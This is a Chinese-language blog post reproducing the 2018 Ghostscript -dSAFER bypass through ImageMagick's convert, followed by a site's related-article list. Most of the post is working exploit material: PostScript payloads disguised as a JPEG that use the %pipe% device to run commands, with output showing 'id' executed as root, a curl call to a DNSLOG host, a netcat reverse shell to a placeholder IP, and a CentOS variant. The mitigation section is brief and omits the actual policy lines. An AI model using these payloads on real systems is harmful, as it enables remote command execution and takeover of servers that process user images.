ghostscript远程代码执行漏洞复现
这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下
1、关于ghostscript
root@kali:~# cat test.jpg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
root@kali:~# convert test.jpg test.gif
uid=(root) gid=(root) 组=(root)
convert-im6.q16: FailedToExecuteCommand `'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap= -dAlignToPixels= -dGridFitTT= '-sDEVICE=pngalpha' -dTextAlphaBits= -dGraphicsAlphaBits= '-r72x72' -g612x792 '-sOutputFile=/tmp/magick-7925iEZJksvksDOI%d' '-f/tmp/magick-79250M4URvG5ediB' '-f/tmp/magick-7925ORuyFX7DkULt' -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/462.
convert-im6.q16: no images defined `test.gif' @ error/convert.c/ConvertImageCommand/3258.
root@kali:~#
使用DNSLOG获取信息:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops


%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X )) currentdevice putd
eviceprops

[root@localhost ~]# convert test.jpeg poc.gif
Error: /invalidaccess in --.putdeviceprops--
Operand stack: Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- --nostringval-- --nostringval-- false %stopped_push %oparray_pop %oparray_pop %oparray_pop %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- %oparray_pop --nostringval-- %oparray_pop
Dictionary stack:
--dict:/(ro)(G)-- --dict:/(G)-- --dict:/(L)--
Current allocation mode is local
Last OS error: No such file or directory
Current file position is
GPL Ghostscript 9.07: Unrecoverable error, exit code
Error: /invalidaccess in --.putdeviceprops--
Operand stack: Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- --nostringval-- --nostringval-- false %stopped_push %oparray_pop %oparray_pop %oparray_pop %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- %oparray_pop --nostringval-- %oparray_pop
Dictionary stack:
--dict:/(ro)(G)-- --dict:/(G)-- --dict:/(L)--
Current allocation mode is local
Last OS error: No such file or directory
Current file position is
GPL Ghostscript 9.07: Unrecoverable error, exit code
convert: Postscript delegate failed `test.jpeg': 没有那个文件或目录 @ error/ps.c/ReadPSImage/832.
convert: no images defined `poc.gif' @ error/convert.c/ConvertImageCommand/3046.
4、注意事项:
kali因为是基于ubuntu的操作系统,所以这次的poc用的就是ubuntu版本的代码;
Centos版本和ubuntu略不一样,可尝试如下代码:
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
5、修复
卸载???卸载是不可能的
使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下 <policy>(即禁用 PS、EPS、PDF、XPS coders):
这里由于是使用Kali进行测试,路径为 /etc/ImageMagick-6/policy.xml

再次测试:

ghostscript远程代码执行漏洞复现的更多相关文章
- Ghostscript远程代码执行漏洞利用方法
昨天爆出来的Ghostscript远程代码执行漏洞,复现过程如下 1.确认系统是否安装了gs 执行命令 gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/ ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
- SMBv3远程代码执行漏洞复现(CVE-2020-0796)
漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...
- CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现
漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ...
随机推荐
- 安装mysql.zip文件教程(包含常见问题修复)
参考链接: https://jingyan.baidu.com/article/63f236284aca280208ab3dcc.html https://jingyan.baidu.com/arti ...
- 使用配置文件自定义Ribbon配置
1.application.yml——Ribbon配置文件 debug: false spring: application: name: mcc-ribbon-properties cloud: c ...
- S0到S5状态讲解
ACPI(高级配置和电源管理接口)的六种工作状态Advanced Configuration and Power Management InterfaceACPI表示高级配置和电源管理接口( Adva ...
- 深度学习论文翻译解析(一):YOLOv3: An Incremental Improvement
论文标题: YOLOv3: An Incremental Improvement 论文作者: Joseph Redmon Ali Farhadi YOLO官网:YOLO: Real-Time Obje ...
- #5 Python变量与输入输出
前言 学习一门编程语言,最基本的无非不过学习其变量规则.条件语句.循环语句和函数,接下来的几节将开始记录这些基本的语法,本节主要记录变量规则! 一.Python输入输出 在说Python变量之前,先补 ...
- 搭建前端监控系统(二)JS错误监控篇
===================================================================== 前端性能监控系统: DEMO地址 GIT代码仓库地址 ...
- IdentityServer4 中文文档 -10- (快速入门)使用密码保护API
IdentityServer4 中文文档 -10- (快速入门)使用密码保护API 原文:http://docs.identityserver.io/en/release/quickstarts/2_ ...
- sqlite+ef+powertools
1,安装驱动以便支持VS2010/VS2012设计时 VS2010, http://system.data.sqlite.org/downloads/1.0.88.0/sqlite-netFx40-s ...
- opoa介绍
一 定义 One Page, One Application(后面缩写为OPOA,或者1P1A), 含义很简单:一个页面就是一个应用.不再使用iframe, 页面提交不能再使用submit方 ...
- 数据库的DevOps实践
---------------------------------------------------------------------------------------------------- ...